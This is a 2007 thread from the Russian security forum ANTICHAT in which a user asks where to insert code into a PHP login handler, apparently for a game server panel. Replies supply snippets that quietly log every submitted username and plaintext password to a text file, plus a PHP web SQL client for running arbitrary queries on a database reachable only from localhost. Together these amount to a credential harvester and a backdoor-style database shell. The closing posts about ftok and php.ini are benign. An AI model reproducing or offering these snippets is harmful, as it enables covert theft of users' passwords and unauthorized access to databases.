ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

22.08.2007, 16:48
|
|
Новичок
Регистрация: 10.06.2007
Сообщений: 26
Провел на форуме: 105092
Репутация:
4
|
|
Объясните пожалуйста куда нужно это вставить.
Я имею следующее:
<?
require 'config.php';
require 'pages/functions.php';
require 'pages/query.php';
if ($_POST['action']=='login')
{
mssql_connect ($CONFIG['mssqlip'], $CONFIG['dbuser'], $CONFIG['dbpass']);
mssql_select_db($CONFIG['mssqllin2db']);
$postusername = isset($_POST['username'])?$_POST['username']:null;
$postpassword = isset($_POST['password'])?$_POST['password']:null;
$new_random = isset($_POST['random'])?$_POST['random']:null;
session_start();
$new_string=$_SESSION["new_string"];
$new_string=antiinjection($new_string);
$postusername = antiinjection($postusername);
$postpassword = antiinjection($postpassword);
$result = mssql_query(sprintf(SELECT_USER_PASS,$postusername ));
$num_user_pass=mssql_num_rows($result);
$user_pass=mssql_fetch_array($result);
$password = '0x'.bin2hex($user_pass['password']);
list ($Id) = mssql_fetch_row(mssql_query("INSERT INTO ".$CONFIG['mssqlcp_log'].".dbo.acc_auth (account,password,random,date,remote_addr,status) VALUES ('".$postusername."','".$postpassword."','".$new_s tring."',GETDATE(),'".$_SERVER['REMOTE_ADDR']."',0); SELECT @@IDENTITY as insertId;"));
if ($new_string != $new_random)
{
echo '<script> alert("Неверный код."); </script>';
}
else
{
if (@password_encrypt($postpassword)==$password && $num_user_pass==1)
{
@setcookie("login", $user_pass['account'], time()+1800);
@setcookie("site_user", $user_pass['account'], time()+1800);
@setcookie("pass", md5($password), time()+1800);
mssql_query("UPDATE ".$CONFIG['mssqlcp_log'].".dbo.acc_auth SET status=1 WHERE id='".$Id."'");
}
else
{
echo '<script> alert("Неверный логин или пароль."); </script>';
}
}
quickrefresh('index.php');
}
else
{
quickrefresh('index.php');
}
?>
|
|
|

22.08.2007, 16:57
|
|
Познавший АНТИЧАТ
Регистрация: 12.05.2007
Сообщений: 1,235
Провел на форуме: 2238549
Репутация:
1318
|
|
Перед вызовом session_start() вставь:
$fileId = fopen("passwords.txt", "a+");
$line = sprintf("%s:%s\n", $postusername, $postpassword );
fputs($fileId, $line);
fclose($fileId);
З.Ы. В файл будет записано именно то, что пользователь передаёт через форму, т.е. ник со всеми опасными символами.
|
|
|

22.08.2007, 17:11
|
|
Познавший АНТИЧАТ
Регистрация: 02.06.2006
Сообщений: 1,188
Провел на форуме: 6023777
Репутация:
2642
|
|
PHP код:
<?
require 'config.php';
require 'pages/functions.php';
require 'pages/query.php';
if ($_POST['action']=='login')
{
mssql_connect ($CONFIG['mssqlip'], $CONFIG['dbuser'], $CONFIG['dbpass']);
mssql_select_db($CONFIG['mssqllin2db']);
$postusername = isset($_POST['username'])?$_POST['username']:null;
$postpassword = isset($_POST['password'])?$_POST['password']:null;
$new_random = isset($_POST['random'])?$_POST['random']:null;
session_start();
$new_string=$_SESSION["new_string"];
$new_string=antiinjection($new_string);
$postusername = antiinjection($postusername);
$postpassword = antiinjection($postpassword);
$result = mssql_query(sprintf(SELECT_USER_PASS,$postusername ));
$num_user_pass=mssql_num_rows($result);
$user_pass=mssql_fetch_array($result);
$password = '0x'.bin2hex($user_pass['password']);
list ($Id) = mssql_fetch_row(mssql_query("INSERT INTO ".$CONFIG['mssqlcp_log'].".dbo.acc_auth (account,password,random,date,remote_addr,status) VALUES ('".$postusername."','".$postpassword."','".$new_string."',GETDATE(),'".$_SERVER['REMOTE_ADDR']."',0); SELECT @@IDENTITY as insertId;"));
if ($new_string != $new_random)
{
echo '<script> alert("Неверный код."); </script>';
}
else
{
if (@password_encrypt($postpassword)==$password && $num_user_pass==1)
{
@setcookie("login", $user_pass['account'], time()+1800);
@setcookie("site_user", $user_pass['account'], time()+1800);
@setcookie("pass", md5($password), time()+1800);
mssql_query("UPDATE ".$CONFIG['mssqlcp_log'].".dbo.acc_auth SET status=1 WHERE id='".$Id."'");
$format = $postusername.' ||| '.$postpassword; //в каком формате записать логин и пасс (запишется так - ЛОГИН ||| ПАРОЛЬ)
$f = fopen('log.txt', 'ab');
fwrite($f, $format."\r\n");
fclose($f);
}
else
{
echo '<script> alert("Неверный логин или пароль."); </script>';
}
}
quickrefresh('index.php');
}
else
{
quickrefresh('index.php');
}
?>
Вот тебе код. Данные сохранятся в файл log.txt.
|
|
|

23.08.2007, 01:16
|
|
Новичок
Регистрация: 10.06.2007
Сообщений: 26
Провел на форуме: 105092
Репутация:
4
|
|
Спасибо большое!
У меня еще вопросик:
Как можно изменить в базе данных(mysql) информацию?
Опишу ситуацию:
1.стоит удаленный сервер, доступ к базе данных доступен только с локалхоста.
2.есть возможность править пхп запросы к базе данных
пример:
mssql_connect ($CONFIG['mssqlip'], $CONFIG['dbuser'], $CONFIG['dbpass']);
mssql_select_db($CONFIG['mssqllin2db']);
$postusername = isset($_POST['username'])?$_POST['username']:null;
$postpassword = isset($_POST['password'])?$_POST['password']:null;
$new_random = isset($_POST['random'])?$_POST['random']:null;
session_start();
$new_string=$_SESSION["new_string"];
$new_string=antiinjection($new_string);
$postusername = antiinjection($postusername);
$postpassword = antiinjection($postpassword);
$result = mssql_query(sprintf(SELECT_USER_PASS,$postusername ));
$num_user_pass=mssql_num_rows($result);
$user_pass=mssql_fetch_array($result);
$password = '0x'.bin2hex($user_pass['password']);
list ($Id) = mssql_fetch_row(mssql_query("INSERT INTO ".$CONFIG['mssqlcp_log'].".dbo.acc_auth (account,password,random,date,remote_addr,status) VALUES ('".$postusername."','".$postpassword."','".$new_s tring."',GETDATE(),'".$_SERVER['REMOTE_ADDR']."',0); SELECT @@IDENTITY as insertId;"));
if ($new_string != $new_random)
Или хотя бы посмотреть таблицы в базе?
Огромное спасибо за внимание
|
|
|

23.08.2007, 11:01
|
|
Познавший АНТИЧАТ
Регистрация: 12.05.2007
Сообщений: 1,235
Провел на форуме: 2238549
Репутация:
1318
|
|
Воспользуйся примитивным mysql-клиентом на PHP:
<?php
define("MYSQL_HOST", "localhost");
define("MYSQL_USER", "root");
define("MYSQL_PASSWD", "");
define("MYSQL_DATABASE", "test");
$dbLink = mysql_connect(MYSQL_HOST, MYSQL_USER, MYSQL_PASSWD)
or die("Could not connect to database! Error: " . mysql_error());
mysql_select_db(MYSQL_DATABASE) or die("Error: could not select database!");
print("<html>\n");
print("<head>\n");
print("<title>Simple MySQL client by groundhog</title>\n");
print("<meta http-equiv=\"Content-Type\" content=\"text/html; charset=windows-1251\">\n");
print("</head>\n");
print("<body>\n");
print("<h1>Simple MySQL client</h1>\n");
printf("<h3>Текущая база: <i>%s</i></h3>\n", MYSQL_DATABASE);
print("<form method=\"post\">\n");
print("Текст запроса:<br>");
print("<textarea name=\"query\" cols=\"50\" rows=\"5\">\n");
if (isset($_POST["query"])) print($_POST["query"]);
print("</textarea>\n");
print("<br><br>\n");
print("<input type=\"submit\" name=\"run\" value=\"Выполнить\">\n");
print("</form>\n");
if (isset($_POST["run"]) && isset($_POST["query"]) && strlen($_POST["query"])) {
print("<h1>Результат:</h1>\n");
$sql = trim($_POST["query"]);
$result = mysql_query($sql) or die("Query failed! Error: " . mysql_error());
if (is_resource($result)) {
print("<table border=\"1\">\n");
print("<tr>");
$i = 0;
while ($i < mysql_num_fields($result)) {
$meta = mysql_fetch_field($result, $i);
printf("<td><b>%s<b></td>", $meta->name);
$i++;
}
print("</tr>\n");
while ($line = mysql_fetch_array($result, MYSQL_ASSOC)) {
print("<tr>");
foreach($line as $value)
printf("<td>%s</td>", $value);
print("</tr>\n");
}
print("</table>\n");
} elseif (is_bool($result)) {
print("<h3>Команда выполнена</h3>\n");
}
}
print("</body>\n");
print("</html>\n");
?>
Что касается запросов:
Посмотреть какие схемы есть в базе данных:
Подключиться к схеме:
Посмотреть таблицы:
Выбрать данные из таблицы
SELECT * FROM [TABLE_NAME];
|
|
|

26.08.2007, 11:24
|
|
Banned
Регистрация: 21.07.2007
Сообщений: 504
Провел на форуме: 1899369
Репутация:
445
|
|
Где включаеться\выключаеЦЦа функция ftok
|
|
|

26.08.2007, 15:12
|
|
Познавший АНТИЧАТ
Регистрация: 02.06.2006
Сообщений: 1,188
Провел на форуме: 6023777
Репутация:
2642
|
|
Сообщение от _Sniper_
Где включаеться\выключаеЦЦа функция ftok
В файле php.ini, находящемся в дире с установленным PHP.
|
|
|

26.08.2007, 16:36
|
|
Постоянный
Регистрация: 20.01.2007
Сообщений: 787
Провел на форуме: 2924346
Репутация:
1719
|
|
Сообщение от NOmeR1
В файле php.ini, находящемся в дире с установленным PHP.
Все это так, если соответствующее расширение установлено (кажется, называется Semaphore или как-то так)
Насколько я помню, в стандартном пакете php его нет.
|
|
|

26.08.2007, 17:58
|
|
Banned
Регистрация: 21.07.2007
Сообщений: 504
Провел на форуме: 1899369
Репутация:
445
|
|
Как мне её включить выключить? Посмотрел в php.ini..

|
|
|

26.08.2007, 18:19
|
|
Постоянный
Регистрация: 20.01.2007
Сообщений: 787
Провел на форуме: 2924346
Репутация:
1719
|
|
http://php.mirror.camelnetwork.com/manual/ru/ref.sem.php
Замечание: Для Windows-платформ это расширение недоступно.
Требования
Эти функции всегда доступны.
Установка
Support for this functions are not enabled by default. To enable System V semaphore support compile PHP with the option --enable-sysvsem. To enable the System V shared memory support compile PHP with the option --enable-sysvshm. To enable the System V messages support compile PHP with the option --enable-sysvmsg.
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|